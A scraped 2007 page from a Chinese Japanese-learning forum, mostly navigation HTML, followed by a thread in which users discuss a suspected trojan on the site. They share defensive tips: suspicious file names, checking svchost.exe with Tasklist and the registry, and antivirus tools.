<tr><td class="popupmenu_option"><a href="index.php?gid=2">〓学友报到〓</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=4">  > 『新人报到区』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=6">  > 『同城学友』</a></td></tr><tr><td class="popupmenu_option"><a href="index.php?gid=7">〓日语学习〓</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=11">  > 『日语解疑答难』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=14">  > 『综合日语学习』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=8">  > 『日语词汇学习』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=12">  > 『日语听力与口语』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=13">  > 『日语语法与阅读』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=10">  > 『商务日语与知识』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=9">  > 『日语语言文学研究』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=49">  > 『日语教研室』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=33">  > 『日本語専用カフェ』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=39">  > 『中岛老师专栏』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=73">  > 『学习资料共享』</a></td></tr><tr><td class="popupmenu_option"><a href="index.php?gid=45">〓临时区〓</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=74">  > 『 2006年一级考后特区』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=75">  > 『 2006年二级考后特区』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=76">  > 『 2006年三、四级考后特区』</a></td></tr><tr><td class="popupmenu_option"><a href="index.php?gid=15">〓日语考试〓</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=17">  > 『日语能力考试一级』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=18">  > 『日语能力考试二级』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=19">  > 『日语能力考试三、四级』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=20">  > 『 J.TEST 日语托业』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=52">  > 『日语自学考试』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=16">  > 『其他日语考试』</a></td></tr><tr><td class="popupmenu_option"><a href="index.php?gid=21">〓日本与中国〓</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=25">  > 『留学日本』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=23">  > 『日语翻译探讨』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=24">  > 『日语工作与日语人才』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=26">  > 『中日文化交流』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=29">  > 『咖啡书香阁』</a></td></tr><tr><td class="popupmenu_option"><a href="index.php?gid=62">〓英语学习〓</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=63">  > 『咖啡英语学院』</a></td></tr><tr><td class="popupmenu_option"><a href="index.php?gid=27">〓咖啡厅〓</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=28">  > 『心情咖啡吧』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=22">  > 『软件应用与FTP 』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=44">  > 『驴驴的乐圈』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=38">  > 『硬件讨论』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=31">  > 『影视音乐吧』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=32">  > 『动漫极乐神域』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=40">  > 『游戏的天堂』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=41">  > 『竞技场』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=43">  > 『真·有氧水吧』</a></td></tr><tr><td class="popupmenu_option"><a href="index.php?gid=64">〓咖啡梁山泊〓</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=65">  > 『咖啡山』</a></td></tr><tr><td class="popupmenu_option"><a href="index.php?gid=34">〓论坛管理〓</a></td></tr><tr><td class="popupmenu_option"><a class="bold" href="forumdisplay.php?fid=3">  > 『站务管理』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=5">  > 『版主会议室』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=61">  > 『回收站』</a></td></tr></table></div>
<br><br></div><a name="bottom"></a>
<div class="maintable">
<div align="center" style="clear: both;"><a href="http://www.seg-cn.com/" target="_blank"><img src="/ad/soushi.gif" border="0"></a></div><br><br>
</div>

<div class="maintable">
<table cellspacing="2" cellpadding="0" align="center" style="font-size: 11px; font-family: Tahoma, Arial"><tr>
<td align="right"><a href="http://www.alipay.com" target="_blank"><img src="images/Discuz!default/alipay_icon.gif" border="0" alt="本论坛支付平台由支付宝提供
携手打造安全诚信的交易社区" /></a>  </td><td>
Powered by <a href="http://www.discuz.net" target="_blank" style="color: blue"><b>Discuz!</b></a> <b style="color:#68d300">5.0.0</b>
 © 2001-2006 <a href="http://www.comsenz.com" target="_blank">Comsenz Inc.</a>
<br>Processed in 0.055537 second(s), 8 queries
, Gzip enabled
</td></tr>
</table><br>
</div>

<div class="maintable">
<div class="subtable outertxt altbg1" style="padding: 4px">
<select class="right" style="position: relative; top: -3px" onchange="if(this.options[this.selectedIndex].value != '') {
var thisurl = document.URL.replace(/[&?]styleid=.+?&sid=.+?$/i, '');

window.location=(thisurl.replace(/\#.+$/, '')+(thisurl.match(/\?/) ? '&' : '?')+'styleid='+this.options[this.selectedIndex].value+'&sid=YDE8GC') }">
<option value="">界面风格</option>
<option value="">----------</option>
<option value="13">默认风格</option>
<option value="5">cnvery</option>
<option value="8">苹果树下</option>
<option value="14">Discuz!default</option>
</select>
<div class="right">
<a href="http://www.miibeian.gov.cn/" target="_blank" class="bold">沪ICP备05020332号</a> -
<a href="member.php?action=clearcookies&formhash=54fa0212" class="bold">清除 Cookies</a> - <a href="mailto:coffeejp.com@gmail.com" class="bold">联系我们</a> - <a href="http://coffeejp.com" target="_blank" class="bold">咖啡日语</a>
- <a href="archiver/" target="_blank" class="bold">Archiver</a>
- <a href="wap/" target="_blank" class="bold">WAP</a>
</div>
当前时区 GMT, 现在时间是 2007-2-2 13:22</div>
<div class="footer"></div>
</div>
</center>
<div class="popupmenu_popup" id="memcp_menu" style="display: none">
<table cellpadding="4" cellspacing="1" border="0">
<tr><td class="header">控制面板</td></tr><tr><td class="popupmenu_option"><a href="memcp.php"><span class="bold">控制面板首页</span></a></td></tr><tr><td class="popupmenu_option"><a href="memcp.php?action=profile">编辑个人资料</a></td></tr><tr><td class="popupmenu_option"><a href="memcp.php?action=credits">积分交易</a></td></tr><tr><td class="popupmenu_option"><a href="memcp.php?action=usergroups">公众用户组</a></td></tr><tr><td class="popupmenu_option"><a href="memcp.php?action=buddylist">好友列表</a></td></tr>
</table></div>
<div class="popupmenu_popup" id="my_menu" style="display: none">
<table cellpadding="4" cellspacing="1" border="0">
<tr><td class="header">我的</td></tr><tr><td class="popupmenu_option"><a href="my.php?item=threads">我的话题</a></td></tr><tr><td class="popupmenu_option"><a href="my.php?item=favorites&type=thread">我的收藏</a></td></tr><tr><td class="popupmenu_option"><a href="my.php?item=subscriptions">我的订阅</a></td></tr><tr><td class="popupmenu_option"><a href="member.php?action=grouppermission">我的权限</a></td></tr>
<tr><td class="popupmenu_option"><a href="my.php?item=reward&type=question">我的悬赏</a></td></tr><tr><td class="popupmenu_option"><a href="my.php?item=activities&type=orig&ended=no">我的活动</a></td></tr>
<tr><td class="popupmenu_option"><a href="http://coffeejp.com/blog/index.php?uid/35035" target="_blank">个人空间</a></td></tr>
<tr><td class="popupmenu_option"><a href="blog.php?uid=35035">我的文集</a></td></tr>
</table></div>
<div class="popupmenu_popup" id="forumlist_menu" style="display:none">
<table cellpadding="4" cellspacing="1" border="0">
<tr><td class="header">论坛导航</td></tr>
<tr><td class="popupmenu_option"><a href="index.php" class="nav">咖啡日语论坛</a></td></tr>
<tr><td class="popupmenu_option"><a href="index.php?gid=2">〓学友报到〓</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=4">  > 『新人报到区』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=6">  > 『同城学友』</a></td></tr><tr><td class="popupmenu_option"><a href="index.php?gid=7">〓日语学习〓</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=11">  > 『日语解疑答难』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=14">  > 『综合日语学习』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=8">  > 『日语词汇学习』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=12">  > 『日语听力与口语』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=13">  > 『日语语法与阅读』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=10">  > 『商务日语与知识』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=9">  > 『日语语言文学研究』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=49">  > 『日语教研室』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=33">  > 『日本語専用カフェ』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=39">  > 『中岛老师专栏』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=73">  > 『学习资料共享』</a></td></tr><tr><td class="popupmenu_option"><a href="index.php?gid=45">〓临时区〓</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=74">  > 『 2006年一级考后特区』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=75">  > 『 2006年二级考后特区』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=76">  > 『 2006年三、四级考后特区』</a></td></tr><tr><td class="popupmenu_option"><a href="index.php?gid=15">〓日语考试〓</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=17">  > 『日语能力考试一级』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=18">  > 『日语能力考试二级』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=19">  > 『日语能力考试三、四级』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=20">  > 『 J.TEST 日语托业』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=52">  > 『日语自学考试』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=16">  > 『其他日语考试』</a></td></tr><tr><td class="popupmenu_option"><a href="index.php?gid=21">〓日本与中国〓</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=25">  > 『留学日本』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=23">  > 『日语翻译探讨』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=24">  > 『日语工作与日语人才』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=26">  > 『中日文化交流』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=29">  > 『咖啡书香阁』</a></td></tr><tr><td class="popupmenu_option"><a href="index.php?gid=62">〓英语学习〓</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=63">  > 『咖啡英语学院』</a></td></tr><tr><td class="popupmenu_option"><a href="index.php?gid=27">〓咖啡厅〓</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=28">  > 『心情咖啡吧』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=22">  > 『软件应用与FTP 』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=44">  > 『驴驴的乐圈』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=38">  > 『硬件讨论』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=31">  > 『影视音乐吧』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=32">  > 『动漫极乐神域』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=40">  > 『游戏的天堂』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=41">  > 『竞技场』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=43">  > 『真·有氧水吧』</a></td></tr><tr><td class="popupmenu_option"><a href="index.php?gid=64">〓咖啡梁山泊〓</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=65">  > 『咖啡山』</a></td></tr><tr><td class="popupmenu_option"><a href="index.php?gid=34">〓论坛管理〓</a></td></tr><tr><td class="popupmenu_option"><a class="bold" href="forumdisplay.php?fid=3">  > 『站务管理』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=5">  > 『版主会议室』</a></td></tr><tr><td class="popupmenu_option"><a href="forumdisplay.php?fid=61">  > 『回收站』</a></td></tr></table></div>
</body></html>

新世代黑组长 · 发表于 2007-2-2 21:31:06

页面里没有找到可疑的脚本或框架

eerrr · 发表于 2007-2-2 21:34:22

原帖由 sai 于 2007-2-2 13:23 发表
偶这边没发现啊

搜索你的电脑看是否存在下列文件
svchost.vbs
xunlei.exe
xl.htm
看看你的临时文件夹有没有svchost.exe文件

这张贴子也说论坛有毒
http://coffeejp.com/bbs/viewthre ... &extra=page%3D1

新世代黑组长 · 发表于 2007-2-2 21:49:00

原帖由 eerrr 于 2007-2-2 13:34 发表

搜索你的电脑看是否存在下列文件
svchost.vbs
xunlei.exe
xl.htm
看看你的临时文件夹有没有svchost.exe文件

这张贴子也说论坛有毒
http://coffeejp.com/bbs/viewthread.php?tid=135806&extra=p ...

没有找到

我装的卡巴5.0.391，没有报警
那个帖子里的情况已经处理过了，模板文件被写入了框架，现在又重新检查了一遍，没有问题。

eerrr · 发表于 2007-2-2 22:01:52

原帖由 兔子的黄金甲 于 2007-2-2 13:31 发表
页面里没有找到可疑的脚本或框架

现在确实没发现病毒毒了
似乎我刚刚发了贴病毒就被撤下来了
根据发现病毒时的源文件可以肯定的是此病毒并非通过<iframe>挂上去的
驱动之家也发生了类似现象
http://bbs.mydrivers.com/thread-173373-1-0.html

武田信长 · 发表于 2007-2-2 22:07:20

又来了又来了．死兔这已经不是第一次了．你仇家太多了吧

新世代黑组长 · 发表于 2007-2-2 22:09:56

那就不明白了

likaliu · 发表于 2007-2-2 22:12:53

上帝！！
我的电脑里有svchost.exe了，两个。
怎么办啊？？？？助けてください

eerrr · 发表于 2007-2-2 22:32:18

正常的svchost.exe大小只有14.0KB
如果你的svchost.exe文件不正常可以用FortiClient杀毒
因为太占资源此软件不推荐开机启动
平时监控可以用SSM

likaliu · 发表于 2007-2-2 22:50:18

偶的两个都是8kb，它们不正常？、
不行，你写的字偶都认识，可是不知道是什么意思啊。

eerrr · 发表于 2007-2-2 23:47:46

原帖由 likaliu 于 2007-2-2 14:50 发表
偶的两个都是8kb，它们不正常？、
不行，你写的字偶都认识，可是不知道是什么意思啊。

根据大小似乎不好判断比较准确的判断方法是
运行命令行Tasklist /svc 记下的svchost.exe装载的服务名
查看注册表[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services]对应子键的“Description”键值（也就是服务描述）来判断svchost.exe是否正常

FortiClient是一款杀毒软件的名字
SSM是系统监控软件System Safety Monitor

likaliu · 发表于 2007-2-3 00:10:42

谢谢
对于说得这么白的解释，偶还是不明白

不好意思，但你至少让偶明白了一个真理：
对电脑，偶不是一般的白痴。

请一个生物来看看吧。。。。

kazuky · 发表于 2007-2-3 00:11:40

刚才我也有这个情况，被公司的杀毒软件秒杀了

		自动登录	找回密码
密码			注～册

咖啡被挂木马了!!!

回复 #5 eerrr 的帖子

回复 #11 eerrr 的帖子

回复 #13 eerrr 的帖子